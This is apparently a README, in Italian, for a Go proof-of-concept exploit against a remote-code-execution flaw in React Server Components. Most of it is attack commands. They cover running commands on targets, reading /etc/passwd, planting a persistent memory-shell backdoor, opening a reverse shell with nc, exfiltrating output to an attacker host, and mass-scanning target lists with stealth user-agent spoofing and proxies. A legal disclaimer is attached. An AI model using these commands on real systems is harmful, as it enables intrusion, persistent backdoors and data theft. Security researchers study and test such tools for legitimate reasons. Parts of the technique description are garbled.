
CVE-2025-55182 React Server Components RCE - Go PoC
⚠️ SOLO PER TEST DI SICUREZZA AUTORIZZATI ⚠️
CVE-2025-55182 (nota anche come CVE-2025-66478) è una vulnerabilità critica di Remote Code Execution nei React Server Components (protocollo Flight). Questo strumento è un'implementazione Go del PoC per la ricerca sulla sicurezza e test di penetrazione autorizzati.
Versioni affette:
Lo sfruttamento sfrutta l'inquinamento del prototipo nella deserializzazione del protocollo Flight:
$@ per ottenere un riferimento a un ChunkChunk.prototype.then come proprietà then dell'oggetto rootRESOLVED_MODEL per chiamare initializeModelChunk con un falso chunk controllatoresponse._formData.get con il payload dell'attaccanteresponse._formData.get sul costruttore Function per l'esecuzione di codice arbitrario/exec?cmd=Scarica l'ultima release per la tua piattaforma da GitHub Releases.
Binari disponibili:
# Clona il repository
git clone https://github.com/keklick1337/CVE-2025-55182-golang-PoC.git
cd CVE-2025-55182-golang-PoC
# Build per la piattaforma corrente
go build -o cve-2025-55182 .
# Oppure build per tutte le piattaforme
chmod +x build.sh
./build.sh
Dopo aver eseguito ./build.sh, i binari saranno disponibili nella directory build/ per tutte le piattaforme supportate.
# Verifica vulnerabilità su singolo target
./cve-2025-55182 -u http://target:3000 --check
# Rileva versione Next.js
./cve-2025-55182 -u http://target:3000 --version-check
# Esegui comando con output
./cve-2025-55182 -u http://target:3000 -c "id"
./cve-2025-55182 -u http://target:3000 -c "cat /etc/passwd"
# Inietta memory shell (verifica prima se già installata)
./cve-2025-55182 -u http://target:3000 --memshell
# Verifica se la memory shell è attiva
./cve-2025-55182 -u http://target:3000 --test-shell
# Esegui comando tramite memory shell
./cve-2025-55182 -u http://target:3000 --shell-exec "cat /etc/passwd"
# Dopo l'iniezione, puoi anche usare curl direttamente:
curl 'http://target:3000/exec?cmd=id'
curl 'http://target:3000/exec?cmd=whoami'
# Aggiungi intestazioni personalizzate (utilizzabile più volte)
./cve-2025-55182 -u http://target:3000 --check -H 'Authorization: Bearer token123'
./cve-2025-55182 -u http://target:3000 --check -H 'Host: example.com' -H 'X-Forwarded-For: 127.0.0.1'
# Salta verifica certificato SSL (per certificati autofirmati)
./cve-2025-55182 -u https://target:3000 --check -k
./cve-2025-55182 -u https://target:3000 --check --insecure
# Combina con altre opzioni
./cve-2025-55182 -u https://target:3000 -c "id" -k -H 'Cookie: session=abc123' --proxy socks5://127.0.0.1:1080
# SOCKS5 con autenticazione
./cve-2025-55182 -u http://target:3000 --check --proxy socks5://user:[email protected]:1080
# SOCKS5 senza autenticazione
./cve-2025-55182 -u http://target:3000 --check --proxy socks5://127.0.0.1:1080
# Proxy SOCKS4
./cve-2025-55182 -u http://target:3000 --check --proxy socks4://127.0.0.1:1080
# Proxy HTTP
./cve-2025-55182 -u http://target:3000 --check --proxy http://127.0.0.1:8080
# Controllo batch da file
./cve-2025-55182 --urls targets.txt --check
# Scansione batch con output JSON
./cve-2025-55182 --urls targets.txt --check --json -o results.json
# Scansione batch con thread multipli e modalità invisibile
./cve-2025-55182 -f targets.txt --check --threads 20 --stealth crawler --delay 2s
# Salva target vulnerabili su file
./cve-2025-55182 -f targets.txt --check -o vulnerable.txt
# Iniezione memory shell batch
./cve-2025-55182 --urls targets.txt --memshell --workers 10
# Esecuzione comandi batch
./cve-2025-55182 --urls targets.txt -c "id" --threads 5
# Reverse shell (mkfifo + nc, funziona su Alpine)
./cve-2025-55182 -u http://target:3000 --revshell 10.0.0.1 4444
# Avvia prima il listener sulla macchina attaccante:
nc -lvnp 4444
# Esfiltra output comando tramite HTTP POST
./cve-2025-55182 -u http://target:3000 --exfil "cat /etc/passwd" 10.0.0.1 4444
# Avvia listener: nc -lvnp 4444
socks5://user:pass@ip:port - SOCKS5 con autenticazione
socks5://ip:port - SOCKS5 senza autenticazione
socks5h://ip:port - SOCKS5 con risoluzione DNS remota
socks4://ip:port - Proxy SOCKS4
socks4a://ip:port - Proxy SOCKS4a
http://user:pass@ip:port - Proxy HTTP con autenticazione
http://ip:port - Proxy HTTP senza autenticazione
https://ip:port - Proxy HTTPS
| Modalità | Descrizione |
|---|---|
browser | Simula richieste reali del browser (Chrome, Firefox, Safari, Edge) - default |
crawler | Simula crawler dei motori di ricerca (Googlebot, Bingbot, Baiduspider, ecc.) |
security | Utilizza User-Agent di scanner di sicurezza (Nessus, Nuclei) |
La funzionalità memory shell inietta una backdoor persistente che:
cmd# Dopo l'iniezione:
curl 'http://target:3000/exec?cmd=id'
curl 'http://target:3000/exec?cmd=ls+-la'
curl 'http://target:3000/exec?cmd=cat+/etc/passwd'
.
├── main.go # Punto di ingresso CLI
├── pkg/
│ ├── colors/
│ │ └── colors.go # Colori terminale con supporto --nocolor
│ ├── exploit/
│ │ └── exploit.go # Logica exploit principale, memory shell, rilevamento versione
│ ├── proxy/
│ │ └── proxy.go # Supporto proxy SOCKS4/5, HTTP
│ ├── scanner/
│ │ └── scanner.go # Scansione batch con output JSON
│ └── stealth/
│ └── stealth.go # Randomizzazione User-Agent
├── build.sh # Script di build multipiattaforma
├── go.mod # File modulo Go
├── go.sum # Dipendenze Go
└── README.md # Questo file
Lo script build.sh compila per oltre 30 piattaforme:
chmod +x build.sh
./build.sh
Quando si utilizza il flag --json, i risultati vengono salvati in formato JSONL (un JSON per riga):
{"url":"http://target:3000","vulnerable":true,"version":"15.0.3","checked_at":"2025-12-06T12:00:00Z","response_time_ms":1234}
Il report completo (_report.json) include:
{
"scan_time": "2025-12-06T12:00:00Z",
"total_urls": 100,
"vulnerable_count": 5,
"safe_count": 90,
"timeout_count": 5,
"results": [...]
}
Lo strumento può rilevare la versione Next.js da:
X-Powered-By__NEXT_DATA__, percorsi /_next/)Le versioni vulnerabili vengono evidenziate in rosso.
⚠️ AVVISO LEGALE IMPORTANTE ⚠️
Questo strumento è fornito rigorosamente per scopi educativi e solo per test di sicurezza autorizzati.
È severamente vietato utilizzare questo strumento:
L'accesso non autorizzato a sistemi informatici è un reato penale nella maggior parte delle giurisdizioni mondiali, inclusi ma non limitati a:
QUESTO SOFTWARE È FORNITO "COSÌ COM'È", SENZA GARANZIA DI ALCUN TIPO, ESPRESSA O IMPLICITA. GLI AUTORI E I TITOLARI DEL COPYRIGHT NON SARANNO RESPONSABILI PER QUALSIASI RECLAMO, DANNO O ALTRA RESPONSABILITÀ DERIVANTE DALL'USO DI QUESTO SOFTWARE.
Scaricando, installando o utilizzando questo strumento, l'utente riconosce che:
Se non accetti questi termini, non utilizzare questo strumento.
Vladislav Tislenko aka keklick1337
Data: 2025-12-05
Questo progetto è concesso in licenza sotto la MIT License - vedere il file LICENSE per i dettagli.
Usa responsabilmente. Rispetta la legge. 🔐
| Opzione | Descrizione |
|---|
-u, --url | URL del target (es. http://localhost:3000) |
-f, --file | File contenente URL target (uno per riga) |
--urls | Alias per -f/--file |
-o, --output | File di output per target vulnerabili |
--json | Output risultati in formato JSON |
-c, --command | Comando da eseguire (con output) |
--check | Controlla la vulnerabilità |
--version-check | Rileva versione Next.js |
--proxy | URL proxy (socks5://user:pass@ip:port, socks4://ip:port, http://ip:port) |
-H, --header | Intestazione personalizzata (utilizzabile più volte) |
-k, --insecure | Salta verifica certificato SSL/TLS |
--stealth | Modalità invisibile: browser, crawler, security (default: browser) |
--delay | Ritardo tra le richieste (es. 2s, 500ms) |
--variants | Utilizza varianti multiple di payload per controllo approfondito |
--memshell | Inietta memory shell (backdoor persistente) |
--test-shell | Verifica se la memory shell è attiva |
--shell-exec | Esegui comando tramite memory shell |
--revshell IP PORT | Stabilisci reverse shell |
--exfil CMD IP PORT | Esegui comando e invia output tramite POST |
-t, --timeout | Timeout richiesta in secondi (default: 15) |
--threads | Numero di thread concorrenti (default: 10) |
--workers | Alias per --threads |
--nocolor | Disabilita output colorato (per Windows/pipe) |
-h, --help | Mostra messaggio di aiuto |
-v, --version | Mostra versione |